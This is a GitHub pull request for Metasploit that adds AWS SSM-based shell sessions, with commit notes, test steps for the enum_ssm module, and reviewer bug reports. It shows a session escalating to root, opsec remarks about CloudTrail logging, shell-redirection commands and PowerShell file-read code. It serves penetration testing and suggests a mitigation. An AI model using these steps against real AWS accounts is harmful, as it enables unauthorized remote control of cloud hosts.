Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

AWS SSM Sessions #17430

Merged
merged 37 commits into from Jun 1, 2023
Merged

Conversation

sempervictus
Copy link
Contributor

@sempervictus sempervictus commented Dec 31, 2022

Amazon Web Services provides conveniently privileged backdoors in the form of their SSM agents which do not require connectivity with the target instance, merely valid credentials to AWS' API. Due to this indirect "connection" paradigm, this mechanism can be used to control otherwise "air-gapped" targets.

At the user-facing level, this PR provides two abstractions to the session handler atop which it can operate a command session.

  1. Script-execution abstraction and pickup via AWS' API. This approach abstracts asynchronous request/response parsing for SSM requests into an IO channel with which the AWS SSM client is then wrapped to emulate the expected Stream. The mechanism is rather raw and could use better error handling, retries on laggy output, and a threadsafe cursor implementation.
    There is a significant limitation with these sessions not present in normal stream-wise abstractions: a response limit of 2500 chars. This limitation can be overcome by utilizing an S3 bucket to store command output; however, due to the nature of access we seek to obtain, it would not only add to the logged event loads but retain the results of our TTPs in a "buffer" accessible to other people. This functionality can be added down the line in the form of S3 config options in the handler to be passed into the SSM client for command execution and acquisition of output.

  2. WebSocket-based "direct" interaction using @zeroSteiner's marvelous Rex implementation for WebSocket channels providing the necessary hooks by which to effect relevant encoding and decoding of "higher-level" protocols. This modality is more "mature" (though somewhat less novel than the C2 abstraction) in terms of interface presented, and supports fully interactive, colorful sessions via the stream abstraction.

Testing:
Gets sessions, provides command IO, leaves a bunch of log entries
in CloudTrail (something to keep in mind for opsec considerations).

How to test:

  1. Pull PR into your test framework and install the resulting bundle to pull in the SSM SDK
  2. Start the updated console
  3. use auxiliary/cloud/aws/enum_ssm
  4. set SECRET_ACCESS_KEY to your secret key
  5. set ACCESS_KEY_ID to your access key ID
  6. set CreateSession false
  7. exploit
  8. verify how many and which systems you're about to shell (this thing is an autopwn on roids in the wrong environment)
  9. set CreateSession true if there are valid targets and they are safe to shell (over TLS, but still worth considering)
  10. exploit

Advanced users can test the payloads (unix^windows) directly via the handler and setting the provided datastore options.

Notes:

  • In my testing, running exploit just keeps on getting more shells. Not sure if its related to my mutant framework setup, but worth testing for the effect upstream (and figuring out why it happens, if it does).
  • Suggested mitigation for this threat vector (OOB privileged access permitting command and raw IO) is to uninstall the bloody agent and make sure it stays that way (or just build and use images which have never had it on them in the first place, nix cloud-init after boostrapping as well, while at it)
  • The two session abstraction stacks this work presents can (and IMO should) be used to build C2 sessions and tramsports to permit comms with "third-party software" (among other things) 😉

Amazon Web Services provides conveniently privileged backdoors in
the form of their SSM agents which do not require connectivity with
the target instance, merely valid credentials to AWS' API. Due to
this indirect "connection" paradigm, this mechanism can be used to
control otherwise "air-gapped" targets.

This approach abstracts asynchronous request/response parsing for
SSM requests into an IO channel with which the AWS SSM client is
then wrapped to emulate the expected Stream. The mechanism is rather
raw and could use better error handling, retries on laggy output,
and a threadsafe cursor implementation. It may be possible to start
an actually interactive session using the #start_session method in
the AWS client library, but so far testing has not yielded positive
results.

There is a significant limitation with these sessions not present
in normal stream-wise abstractions: a response limit of 2500 chars.
This limitation can be overcome by utilizing an S3 bucket to store
command output; however, due to the nature of access we seek to
obtain, it would not only add to the logged event loads but retain
the results of our TTPs in a "buffer" accessible to other people.
This functionality can be added down the line in the form of S3
config options in the handler to be passed into the SSM client for
command execution and acquisition of output.

Testing:
  Gets sessions, provides command IO, leaves a bunch of log entries
in CloudTrail (something to keep in mind for opsec considerations).

Next steps:
  Reorganize our WebSocket code a bit to provide connection and WS
state management inside Rex::Proto::Http::Client which can then be
exposed to the Handler without having to mix-in other namespaces
from Exploit.
  Use the #start_session SSM Client method to extract the WS URL
for the relevant channel, and utilize that as the underpinning for
our session comms.
@wvu
Copy link
Contributor

wvu commented Dec 31, 2022

This is cool. I'm also a fan of SSM's port forwarding.

@sempervictus
Copy link
Contributor Author

sempervictus commented Dec 31, 2022

This is cool. I'm also a fan of SSM's port forwarding.

Why do you hate me so? 😛
I was hoping to stop this @ a proper WS-based session and not deal with another meterssh monstrosity 😄

RageLtMan added 3 commits December 31, 2022 19:05
Port WebSocket initiation routine from Exploit::Remote::HttpClient.
Currently inert since it appears to require a handshake procedure
along with its own type of data frame.

Implement graceful fail-down for session establishment which tries
to initiate a WebSocket session for proper functionality, failing
down to the script-execution style session abstraction if the WS
session does not marshal properly. Use this exception handling to
deal with the WIP WS session state.

Testing:
  Gets the same kind of command-abstracted session as before
  Interface-extended socket returns garbage from naive #write and
nothing from put_string or put_binary - not going to get anything
out of this thing until we establish the handshake procedure.

Next steps:
  Figure out data frame structures for handshake and console IO
  Implement handshake on-init, validate state
  Implement IO abstraction for the resulting Channel for handoff
to #handle_connection
Using the implementation in https://github.com/humanmade/ssm, use
the onconnect websocket authenticator as a JSON string written as
a wstext Frame into the established WebSocket. This keeps the sock
open with AWS after returning it from the method, but subsequent
operations will require definition and encoding/decoding of SSM's
proprietary data structures.

Testing:
  The initialized WebSocket is kept open and returns wsframes when
requested.

Next steps:
  Port the various data structures from the JavaScript library
  Implement encoding & decoding for their wire-level formats
  Implement state management and data flow handling logic for
the WS SSM protocol.
Create BinData structure to handle the proprietary format of AWS'
SSM WebSocket protocol. Implement relevant inter-field dependencies
and a virtual payload_valid field to handle the SHA256 digest check
for the current state of r the payload_data field.

Implement user-accessible SSM document definition to permit use of
custom-defined command and session documents (stubbing for session
types such as port-forwarding) which may be of use when dealing
with restrictive IAM.

Restructure handler in preparation for moving the WebSocket code
into Rex::Proto for use by other consumers such as custom payloads
and session types like fully interactive (vs REPL) modalities, or
some form of "cloud-native" MeterSSM.

Testing:
  Verified acquisition of SSM WS frame and relevant field ops

Next Steps:
  Create WS loop to abstract shell communications
  Wrap in Rex*Abstraction bowties for the session handler
  Test -> ? -> Profit
@sempervictus
Copy link
Contributor Author

sempervictus commented Jan 1, 2023

@wvu: i've exposed the various infrastructure hooks you'd need to start digging into the port-forwarding thing (or even some custom SSM document that raises Pythagoras' ghost to haunt target systems). Going to see if i can get this WS session style working and commented-up so i can keep the PR to a sane size.

@zeroSteiner, @jmartin-r7 & rest of R7 team (and any brave community devs like @smashery, @OJ ): y'all might want to look into the (not exactly pretty) command-exec abstraction i made to cobble-together async dispatch of SSM commands and their retrieval into something that smells like a synchronous IO to the session handler. That code is technically-speaking a "real C2 abstraction" which might be used to pilot asymmetric or unpleasantly asynchronous IO. Its not the proper decoupling of sessions/handlers/payloads/arch/platform/runtime/os which would be ideal to have happen... but it looks to me to be a viable path forward for expanding session types into actual C2+ space and handling 3rd-party sessions (webshells seem like a good starting point).
One thing that comes to mind working with this PR is that it would be really nice to have meterpreter/mettle run their comms over the STDIO channels such things let us use (especially the byte-wise ones vs line-wise) since then we could "handle the upgrade" framework-side pretty easily by consuming the existing channel and inserting our TLV encoder (base64 or whatever) at that layer... thoughts?

Alter WebSocket::Interface::Channel to accept a mask_write flag to
set the Channel behavior for outgoing data (since the on_data_write
handler can only deal with the buffer provided, not how the wsframe
containing it is written to the "wire"). Set the flag to false for
SSM's WebSocket operations.

Extract Rex::Proto::Http::WebSocket::AmazonSsm from the handler to
permit reuse by other framework elements.

Implement SSM-specific UUID handling.
Create sane SsmFrame constructor to permit convenient operations.

Implement Http::WebSocket::AmazonSsm::Inteface::SsmChannel from
Http::WebSocket::Inferface::Channel with message-type handling and
output processing. Acknowledge incoming messages, process incoming
acknowledgements, increment sequence IDs appropriately, and handle
basic logging.

This new session type removes the 2500 char output restriction and
stateless peer cwd.

Testing:
  Execution of handler now provides stateful interactive shells

Next steps:
  More testing, preferably by other people with upstream framework.
  Peerinfo and presentation updates for the session channel
  Misc cleanup

Future work:
  Implement new SSM session type with support for multi-console,
port-forwarding/socket routing, and custom SSM documents.
  Implement FSM handlers for session suspension and resumption in
Http::WebSocket::AmazonSsm::Interface::SsmChannel
@sempervictus
Copy link
Contributor Author

WebSocket shells work as of 43d746c:

(2023-01-03)09:28 (S:2 J:0)msf  exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...


Shell Banner:
$
-----
          

$ whoami
whoami
ssm-user
$ pwd
pwd
/var/snap/amazon-ssm-agent/6312
sudo su
root@pwned-hostname:/var/snap/amazon-ssm-agent/6312# whoami
whoami
root

We might wanna clean-up that echo piece, but the technically-difficult parts should be all set now.

Implement terminal resizing to WebSocket shell
Reorganize code to ease later extension
Implement peerinfo in channel context from AWS EC2 SSM information
gathered during session validation
Implement echo-filtering for session inputs (hacky, but works)

Testing:
  Verified console resizing, color/reset/etc
  Verified peerinfo and interaction
  Verified common session operations

Notes:
  SSM WebSocket sessions time out pretty quickly, implementing
dedicated SSM session types which support suspend/resume to match
backgrounding/foregrounding operations in the console should help
to resolve this. Alternatively, a keep-alive using empty frames
may be implemented in the SsmChannel itself on a separate thread.
@sempervictus sempervictus changed the title Initial implementation for AWS SSM shells AWS SSM Sessions Jan 3, 2023
Coopt Aaron Soto's EC2 enum module & replace the guts with an SSM
query for not-terminated EC2 instances with SSM capability. This
will proide users with the instance IDs needed to test their SSM
shells and can be expanded to report information or even act as a
"brute-force" module which automatically starts SSM sessions.

Testing:
  None - might eat your monitor lizard
RageLtMan added 3 commits January 3, 2023 20:40
Enable session acquisition from AWS SSM enumeration module simiar
to how the telnet login scanner acquires sessions on the sockets
exposed.

Testing
  Tested execution - finds systems, gets shells, autopwn-capable
The SSM session socket times out without data being sent at the
upper (SSM) WS layer. Implement keep-alive in a separate thread
which simply writes nothing into the channel at irregular intervals
to simulate user activity.

Testing:
  Sessions established with this code running have not timed-out
in over 15m despite being completely unused
Expand SSM enumeration module docs to explain full functionality.
Enable the LIMIT configuration option to restricte results per
region.
Implement FILTER_EC2_ID configuration option to permit targeting
of a specific instance for session initiation.

Testing:
  Finds limtied sets of systems and initiates sessions
  Finds desired system ID and initiates session
@smcintyre-r7 smcintyre-r7 self-assigned this Jan 4, 2023
@jmartin-tech
Copy link
Contributor

Thanks for the neat new toy. Please add a Gemfile.lock change required by the gemspec update.

diff --git a/Gemfile.lock b/Gemfile.lock
index 8a5a4356ae..703f795ad2 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -8,6 +8,7 @@ PATH
       aws-sdk-ec2
       aws-sdk-iam
       aws-sdk-s3
+      aws-sdk-ssm
       bcrypt
       bcrypt_pbkdf
       bson
@@ -146,6 +147,9 @@ GEM
       aws-sdk-core (~> 3, >= 3.165.0)
       aws-sdk-kms (~> 1)
       aws-sigv4 (~> 1.4)
+    aws-sdk-ssm (1.146.0)
+      aws-sdk-core (~> 3, >= 3.165.0)
+      aws-sigv4 (~> 1.1)
     aws-sigv4 (1.5.2)
       aws-eventstream (~> 1, >= 1.0.2)
     bcrypt (3.1.18)

Further review is still pending.

@sempervictus
Copy link
Contributor Author

@jmartin-r7 - there's gonna be a few of those weird things since the repo into which i dump the working files is not the same as my framework, also why i cant actually run tidy apparently 😕

For straightforward things like this or the tidy pass, could you please PR a commit with all the small changes into the source branch for this PR? I'll just merge the fixes in one go atop this and then we can deal with the thought-provoking stuff like "do we want keepalive there by default internally triggered by SsmChannel init or initiated externally by its consumer/caller" afterwards.


stime = Time.now.to_i

while (stime + ctimeout > Time.now.to_i)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Possible retry_until_truthy call from retry mixin?

def retry_until_truthy(timeout:)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I kinda thought Handler is supposed to use Rex primitives instead of pulling in Exploit namespaces - this was ripped from a bind handler IIRC. Can switch up to the convenience method if the mixin is already in-play or add it if that's useful to folks.

@smcintyre-r7 smcintyre-r7 added module rn-modules release notes for new or majorly enhanced modules labels Jan 13, 2023
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

None of the three things I tested worked. It's possible that I didn't set something up right but if that's the case Metasploit should really detect that and at least state it.

  1. Tested enum_ssm without a region specified 🔴
  2. Tested enum_ssm with a region specified to get a shell, also 🔴
  3. Tested cmd/unix/bind_aws_ssm, did not get a shell, also 🔴

Is there a way to confirm, preferably from within Metasploit with the keys that the target EC2 instance has SSM running and accessible with the keys? I followed the steps from this document: https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-ec2-setup-general.html.

modules/auxiliary/cloud/aws/enum_ssm.rb Outdated Show resolved Hide resolved
modules/auxiliary/cloud/aws/enum_ssm.rb Outdated Show resolved Hide resolved
modules/auxiliary/cloud/aws/enum_ssm.rb Outdated Show resolved Hide resolved
lib/msf/core/handler/bind_aws_ssm.rb Outdated Show resolved Hide resolved
RageLtMan and others added 3 commits January 13, 2023 09:54
Explicitly `require 'aws-sdk-ec2'` in the aux module
Fix the hard-coded region to use datastore option
@sempervictus
Copy link
Contributor Author

@zeroSteiner - how do you want to handle output/reporting/etc? Should i throw in a scanner mixin or do we just want a pretty Rex table with the contents of that JSON message?
Anything past the cosmetics outstanding? Also, could you please msftidy the PR since my env isn't happy running the linter?

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Alright I did some more testing, noted two more stack traces and there's also an issue in that the exit command doesn't actually exit the shell which seems like a problem.

TL;DR issues

  1. Sessions don't exit on the exit command
  2. enum_ssm crashes when REGION is not specified
  3. enum_ssm crashes when ::IO.console is nil (as it is when run from a debugger)
  4. The updates to web_socket.rb don't look necessary and can be reverted
h-4.2$ id
uid=1001(ssm-user) gid=1001(ssm-user) groups=1001(ssm-user)
sh-4.2$ pwd
pwd
/usr/bin
sh-4.2$ exit
exit
exit


exit

I still need to do some more testing but that's where I'm at so far.

modules/auxiliary/cloud/aws/enum_ssm.rb Outdated Show resolved Hide resolved
lib/rex/proto/http/web_socket/amazon_ssm.rb Show resolved Hide resolved
modules/auxiliary/cloud/aws/enum_ssm.rb Outdated Show resolved Hide resolved
lib/rex/proto/http/web_socket.rb Outdated Show resolved Hide resolved
@sempervictus
Copy link
Contributor Author

@smcintyre-r7: cant comment on the region piece, but that is a requirement in the API call. Updating the DS option to be required seems the most straightforward approach. Any issue w/ my doing that?

RageLtMan and others added 4 commits April 22, 2023 18:00
* Revert "shell_command_token_base get 0th output index"

This reverts commit 3a4cb35.

* Correct the order of arguments to #set_term_size

* Fix paths for directory checks

The path C:\ ends with a trailing backslash which will cause bash to
wait for another line if input. This places the shell in an undesirable
state.

* Fix post module tests for Linux

* Remove the command document

This hasn't been tested and it's unclear under what conditions this
would be used.

* Fix Windows SSM sessions

---------

Co-authored-by: Spencer McIntyre <zeroSteiner@gmail.com>
This makes it accessible from enum_ssm so Linux sessions can be opened.
@adfoster-r7
Copy link
Contributor

Looks like the download command is broken on the windows ssm powershell session

Setup

Create a file and the download command should work:

msf6 payload(cmd/windows/powershell/x64/powershell_reverse_tcp) > sessions -i -1

# create the file
PS C:\Users\vagrant> cd c:/
PS C:\> mkdir temp
PS C:\> cd temp
PS C:\temp> echo 'abc' > foo

Existing powershell_reverse_tcp working 🟢

Expected behavior from a powershell session:

# Download and verify b64 response:
PS C:\temp> download c:/temp/foo foo
[*] Download c:/temp/foo => foo

From: /Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:777 Msf::Post::File#_read_file_powershell_fragment:

    763: def _read_file_powershell_fragment(filename, chunk_size, offset = 0)
    764:   pwsh_code = <<~PSH
    765:     $mstream = New-Object System.IO.MemoryStream;
    766:     $gzipstream = New-Object System.IO.Compression.GZipStream($mstream, [System.IO.Compression.CompressionMode]::Compress);
    767:     $get_bytes = [System.IO.File]::ReadAllBytes(\"#{filename}\")[#{offset}..#{offset + chunk_size - 1}];
    768:     $gzipstream.Write($get_bytes, 0, $get_bytes.Length);
    769:     $gzipstream.Close();
    770:     [System.Convert]::ToBase64String($mstream.ToArray());
    771:   PSH
    772:   b64_data = cmd_exec(pwsh_code)
    773:   return nil if b64_data.empty?
    774: 
    775:   require 'pry-byebug'; binding.pry
    776: 
 => 777:   uncompressed_fragment = Zlib::GzipReader.new(StringIO.new(Base64.decode64(b64_data))).read
    778:   return uncompressed_fragment
    779: end

[1] pry(#<Msf::Sessions::CommandShell::FileTransfer>)> b64_data
=> "H4sIAAAAAAAEAPv/L5EhiSGZgZeBiwEAS353vAwAAAA="
[2] pry(#<Msf::Sessions::CommandShell::FileTransfer>)> continue
[+] Done

Local disk as expected:

xxd foo 
00000000: fffe 6100 6200 6300 0d00 0a00            ..a.b.c.....

New SSM Windows session failing 🔴

In comparison to the ssm powershell shell, which echos out the input command first - breaking the parsing:

PS C:\temp>download c:/temp/foo foo

[*] Download c:/temp/foo => foo

From: /Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:777 Msf::Post::File#_read_file_powershell_fragment:

    763: def _read_file_powershell_fragment(filename, chunk_size, offset = 0)
    764:   pwsh_code = <<~PSH
    765:     $mstream = New-Object System.IO.MemoryStream;
    766:     $gzipstream = New-Object System.IO.Compression.GZipStream($mstream, [System.IO.Compression.CompressionMode]::Compress);
    767:     $get_bytes = [System.IO.File]::ReadAllBytes(\"#{filename}\")[#{offset}..#{offset + chunk_size - 1}];
    768:     $gzipstream.Write($get_bytes, 0, $get_bytes.Length);
    769:     $gzipstream.Close();
    770:     [System.Convert]::ToBase64String($mstream.ToArray());
    771:   PSH
    772:   b64_data = cmd_exec(pwsh_code)
    773:   return nil if b64_data.empty?
    774: 
    775:   require 'pry-byebug'; binding.pry
    776: 
 => 777:   uncompressed_fragment = Zlib::GzipReader.new(StringIO.new(Base64.decode64(b64_data))).read
    778:   return uncompressed_fragment
    779: end

[1] pry(#<Msf::Sessions::CommandShell::FileTransfer>)> b64_data
=> "PS C:\\temp>\r\e[1A\e[?25h\e[?25l\r\n $mstream = New-Object System.IO.MemoryStream;\r\n $gzipstream = New-Object System.IO.Compression.GZipStream($mstream, [System.IO.Compression.CompressionMode]::Compress);\r\n\e[?25hPS C:\\temp> $get_bytes = [System.IO.File]::ReadAllBytes(\"c:/temp/foo\")[0..65535];\e[?25l\r\n\e[?25hPS C:\\temp> $gzipstream.Write($get_bytes, 0, $get_bytes.Length);\e[?25l\r\n $gzipstream.Close();\r\n [System.Convert]::ToBase64String($mstream.ToArray());\r\nH4sIAAAAAAAEAPv/L5GBl4GLAQCjdAW8CAAAAA==\e[?25h\e[?25l\r\n\r\n '"
[2] pry(#<Msf::Sessions::CommandShell::FileTransfer>)> continue
[-] Session manipulation failed: not in gzip format ["/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:777:in `initialize'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:777:in `new'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:777:in `_read_file_powershell_fragment'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:753:in `block in _read_file_powershell'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:752:in `loop'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:752:in `_read_file_powershell'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:481:in `read_file'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:430:in `cmd_download'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:617:in `run_builtin_cmd'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:605:in `run_single'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:769:in `_interact_stream'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:745:in `block in _interact'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:49:in `with_context'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:744:in `_interact'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/interactive.rb:53:in `interact'", "/Users/user/Documents/code/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:1682:in `cmd_sessions'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell.rb:162:in `run'", "/Users/user/Documents/code/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'", "/Users/user/Documents/code/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'", "./msfconsole:23:in `<main>'"]

end
#
# Returns the handler specific string representation, in this case
# 'bind_tcp'.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
# 'bind_tcp'.
# 'bind_aws_ssm'.

@@ -37,6 +37,7 @@ def type?
# @!attribute [r] params
# @return [Rex::Socket::Parameters]
attr_reader :params
# Boolean flag to control frame masking on output
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can this line be removed now? Looks like it used to be attached to a :mask_write attribute that's no longer present

@github-actions
Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

end

ssm_ec2 = client.get_inventory(inv_params).entities.map { |e| e.data['AWS:InstanceInformation'].content }.flatten
ssm_ec2 = ssm_ec2[0...datastore['LIMIT']] if datastore['LIMIT']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I assume this filter is meant to be sent server side? Filtering locally seems like it wouldn't do what the user expects

inv_params[:max_results] = datastore['LIMIT'] if datastore['LIMIT']

From their docs

}
]
}
inventory = client.get_inventory(inv_params)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker; it feels like this n+1 query could be removed. i.e. the additional lookup of get_inventory for every connection opened feels like it could be avoided with some code shuffling in the parent loop. I haven't verified this claim though.

# @param [Integer] :timeout
#
# @return [Socket] Socket representing the authenticates SSM WebSocket connection
def connect_ssm_ws(session_init, timeout = 20)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just to confirm - I assume you've preferenced copying the code from http_client connect_ws because you didn't want the Rex::Proto namespace depending on code from Msf::Exploit - as well as needing to pass in the ws_key instead of the default behavior that generates a random string? 👀

def connect_ws(opts={}, timeout = 20)
ws_key = Rex::Text.rand_text_alphanumeric(20)
opts['headers'] = opts.fetch('headers', {}).merge({
'Connection' => 'Upgrade',
'Upgrade' => 'WebSocket',
'Sec-WebSocket-Version' => 13,
'Sec-WebSocket-Key' => ws_key
})
if (http_client = opts['client']).nil?
opts['client'] = http_client = connect(opts)
raise Rex::Proto::Http::WebSocket::ConnectionError.new if http_client.nil?
end
res = send_request_raw(opts, timeout, false)
unless res&.code == 101
disconnect
raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res)
end
# see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept
accept_ws_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'))
unless res.headers['Sec-WebSocket-Accept'] == accept_ws_key
disconnect
raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res)
end
socket = http_client.conn
socket.extend(Rex::Proto::Http::WebSocket::Interface)
end

if @platform == 'linux'
# The session from SSM-SessionManagerRunShell starts with a TTY which breaks the post API so change the settings
# and make it behave in a way consistent with other shell sessions
shell_command('stty -echo cbreak;pipe=$(mktemp -u);mkfifo -m 600 $pipe;cat $pipe & sh 1>$pipe 2>$pipe')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't know if this is a bug or intended behavior; But if you press ctrl+c like you can in normal cmd sessions, then decide not to abort the session - it ends up breaking out of the command. Which presumably breaks the post modules again:

msf6 auxiliary(cloud/aws/enum_ssm) > sessions -i -1
[*] Starting interaction with 3...

whoami
ssm-user
^C
Abort session 3? [y/N]  n

[*] Aborting foreground process in the shell session

sh-5.2$ 
[1]+  Done                    cat $pipe
sh-5.2$ 

Edit: Same issue with ctrl+z, I haven't poked further - but I feel like this is either a core issue in framework or it's missing some copy/paste in the trap handling as I don't believe this issue exists with normal cmd sessions

msf6 auxiliary(cloud/aws/enum_ssm) > sessions -i -1
[*] Starting interaction with 1...

^Z
Background session 1? [y/N]  n

[*] Backgrounding foreground process in the shell session

[2]+  Stopped(SIGTSTP)        sh > $pipe 2> $pipe
sh-5.2$ 

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This also seems to leave the processes open indefinitely and doesn't clean up correctly. i.e. For me I replicated this with:

  • Open msfconsole
  • Open multiple sessions repeat -n 10 run
  • Close msfconsole
  • Open msfconsole and open a new session
  • Run ps aux --forest in the ssm session, and you can see multiple different sh processes attempting to cat from /tmp/tmp.etc.etc

@adfoster-r7
Copy link
Contributor

Not a blocker, as it might be an existing issue with the prompt/shell history tracking

It looks like swapping between the newly opened session and the top level command prompt breaks the pry history:

# 1) View existing history
msf6 auxiliary(cloud/aws/enum_ssm) > history
set .... ...
set .... ...
run

# 2) Interact with the session and background it
msf6 auxiliary(cloud/aws/enum_ssm) > sessions -i -1
[*] Starting interaction with 1...

whoami
ssm-user

# 3) View the history, to see it's broken:
background

Background session 1? [y/N]  y
msf6 auxiliary(cloud/aws/enum_ssm) > history
1  history

Just marking this down here for now, will have test against a normal command session to see if that's a framework issue or an issue with the session

@sempervictus
Copy link
Contributor Author

Looks like the download command is broken on the windows ssm powershell session

Setup

Create a file and the download command should work:

msf6 payload(cmd/windows/powershell/x64/powershell_reverse_tcp) > sessions -i -1

# create the file
PS C:\Users\vagrant> cd c:/
PS C:\> mkdir temp
PS C:\> cd temp
PS C:\temp> echo 'abc' > foo

Existing powershell_reverse_tcp working green_circle

Expected behavior from a powershell session:

# Download and verify b64 response:
PS C:\temp> download c:/temp/foo foo
[*] Download c:/temp/foo => foo

From: /Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:777 Msf::Post::File#_read_file_powershell_fragment:

    763: def _read_file_powershell_fragment(filename, chunk_size, offset = 0)
    764:   pwsh_code = <<~PSH
    765:     $mstream = New-Object System.IO.MemoryStream;
    766:     $gzipstream = New-Object System.IO.Compression.GZipStream($mstream, [System.IO.Compression.CompressionMode]::Compress);
    767:     $get_bytes = [System.IO.File]::ReadAllBytes(\"#{filename}\")[#{offset}..#{offset + chunk_size - 1}];
    768:     $gzipstream.Write($get_bytes, 0, $get_bytes.Length);
    769:     $gzipstream.Close();
    770:     [System.Convert]::ToBase64String($mstream.ToArray());
    771:   PSH
    772:   b64_data = cmd_exec(pwsh_code)
    773:   return nil if b64_data.empty?
    774: 
    775:   require 'pry-byebug'; binding.pry
    776: 
 => 777:   uncompressed_fragment = Zlib::GzipReader.new(StringIO.new(Base64.decode64(b64_data))).read
    778:   return uncompressed_fragment
    779: end

[1] pry(#<Msf::Sessions::CommandShell::FileTransfer>)> b64_data
=> "H4sIAAAAAAAEAPv/L5EhiSGZgZeBiwEAS353vAwAAAA="
[2] pry(#<Msf::Sessions::CommandShell::FileTransfer>)> continue
[+] Done

Local disk as expected:

xxd foo 
00000000: fffe 6100 6200 6300 0d00 0a00            ..a.b.c.....

New SSM Windows session failing red_circle

In comparison to the ssm powershell shell, which echos out the input command first - breaking the parsing:

PS C:\temp>download c:/temp/foo foo

[*] Download c:/temp/foo => foo

From: /Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:777 Msf::Post::File#_read_file_powershell_fragment:

    763: def _read_file_powershell_fragment(filename, chunk_size, offset = 0)
    764:   pwsh_code = <<~PSH
    765:     $mstream = New-Object System.IO.MemoryStream;
    766:     $gzipstream = New-Object System.IO.Compression.GZipStream($mstream, [System.IO.Compression.CompressionMode]::Compress);
    767:     $get_bytes = [System.IO.File]::ReadAllBytes(\"#{filename}\")[#{offset}..#{offset + chunk_size - 1}];
    768:     $gzipstream.Write($get_bytes, 0, $get_bytes.Length);
    769:     $gzipstream.Close();
    770:     [System.Convert]::ToBase64String($mstream.ToArray());
    771:   PSH
    772:   b64_data = cmd_exec(pwsh_code)
    773:   return nil if b64_data.empty?
    774: 
    775:   require 'pry-byebug'; binding.pry
    776: 
 => 777:   uncompressed_fragment = Zlib::GzipReader.new(StringIO.new(Base64.decode64(b64_data))).read
    778:   return uncompressed_fragment
    779: end

[1] pry(#<Msf::Sessions::CommandShell::FileTransfer>)> b64_data
=> "PS C:\\temp>\r\e[1A\e[?25h\e[?25l\r\n $mstream = New-Object System.IO.MemoryStream;\r\n $gzipstream = New-Object System.IO.Compression.GZipStream($mstream, [System.IO.Compression.CompressionMode]::Compress);\r\n\e[?25hPS C:\\temp> $get_bytes = [System.IO.File]::ReadAllBytes(\"c:/temp/foo\")[0..65535];\e[?25l\r\n\e[?25hPS C:\\temp> $gzipstream.Write($get_bytes, 0, $get_bytes.Length);\e[?25l\r\n $gzipstream.Close();\r\n [System.Convert]::ToBase64String($mstream.ToArray());\r\nH4sIAAAAAAAEAPv/L5GBl4GLAQCjdAW8CAAAAA==\e[?25h\e[?25l\r\n\r\n '"
[2] pry(#<Msf::Sessions::CommandShell::FileTransfer>)> continue
